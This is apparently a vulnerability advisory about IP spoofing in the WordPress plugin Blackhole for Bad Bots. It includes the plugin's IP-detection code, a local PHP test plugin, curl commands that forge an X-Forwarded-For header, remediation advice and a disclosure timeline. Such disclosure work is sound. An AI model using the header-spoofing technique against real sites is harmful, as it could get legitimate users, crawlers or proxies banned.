DOS through IP spoofing – (Blackhole for Bad Bots <= 3.3.3)

Affected pluginBlackhole for Bad Bots
Active installs30,000+
Vulnerable version<= 3.3.3
Audited version3.3.3
Fully patched version
Recommended remediationNever configure the plugin to use anything but REMOTE_ADDR for IP detection.

Description


An attacker can use IP spoofing to ban legitimate users, search-engine crawlers, or a site’s reverse proxy.

This becomes possible as soon as a site owner changes the default IP source of the plugin by using the “blackhole_ip_keys” filter.

Proof of concept


The plugin handles IP detection better than most WordPress security plugins since it always uses REMOTE_ADDR by default.

However, as soon as this behavior is customized (by using the documented filter “backhole_ip_keys”), this changes, and the plugin is wide open again to IP spoofing.

The plugin uses the backhole_evaluate_ip function everywhere it needs access to the current request’s IP.

function blackhole_evaluate_ip() {
   $ip_keys = array('REMOTE_ADDR', 'HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_X_COMING_FROM', 'HTTP_PROXY_CONNECTION', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'HTTP_COMING_FROM', 'HTTP_VIA');
   $ip_keys = apply_filters('blackhole_ip_keys', $ip_keys);
   foreach ($ip_keys as $key) {
      if (array_key_exists($key, $_SERVER) === true) {
         foreach (explode(',', $_SERVER[$key]) as $ip) {
            $ip = trim($ip);
            $ip = blackhole_normalize_ip($ip);
            if (blackhole_validate_ip($ip)) {
               return $ip;
            }
         }
      }
   }
   return esc_html__('Error: Invalid Address', 'blackhole-bad-bots');
}

First, create the following must-use plugin on a local WordPress installation.

<?php
declare(strict_types=1);

// wp-content/mu-plugins/ip.php

$load_balancer_ip = '94.13.143.816';
$_SERVER['REMOTE_ADDR'] = $load_balancer_ip;
$real_user_ip = '147.93.33.75';

/**
 * This is how a load balancer will create the header. Always appending to the right.
 * Not doing so would validate the HTTP spec.
 */
if(empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $real_user_ip;
}else {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR']. ','. $real_user_ip;
}

if(!isset($_SERVER['HTTP_TEST_IP'])) {
    return;
}

add_action('wp_loaded', function () {
    add_filter('blackhole_ip_keys', fn() => ['HTTP_X_FORWARDED_FOR']);
    echo blackhole_evaluate_ip();
    echo "\n";
    die();
});

Then run the following commands:

curl -X GET https://local.test -H "Test-IP: 1"
147.93.33.75 # all good so far

Now:

curl -X GET https://local.test -H "Test-IP: 1" -H "X-Forwarded-For: 93.166.11.18"
93.166.11.18 # We spoofed the IP

Proposed patch


This is described in great length in this article of us.

Summary: Only ever use REMOTE_ADDR to access to current IP.

Timeline


Vendor contactedSeptember 13, 2022
First ResponseSeptember 13, 2022
Fully patched atPENDING
Publicly disclosedApril 24, 2023

Miscellaneous


Leave a Reply

Your email address will not be published. Required fields are marked *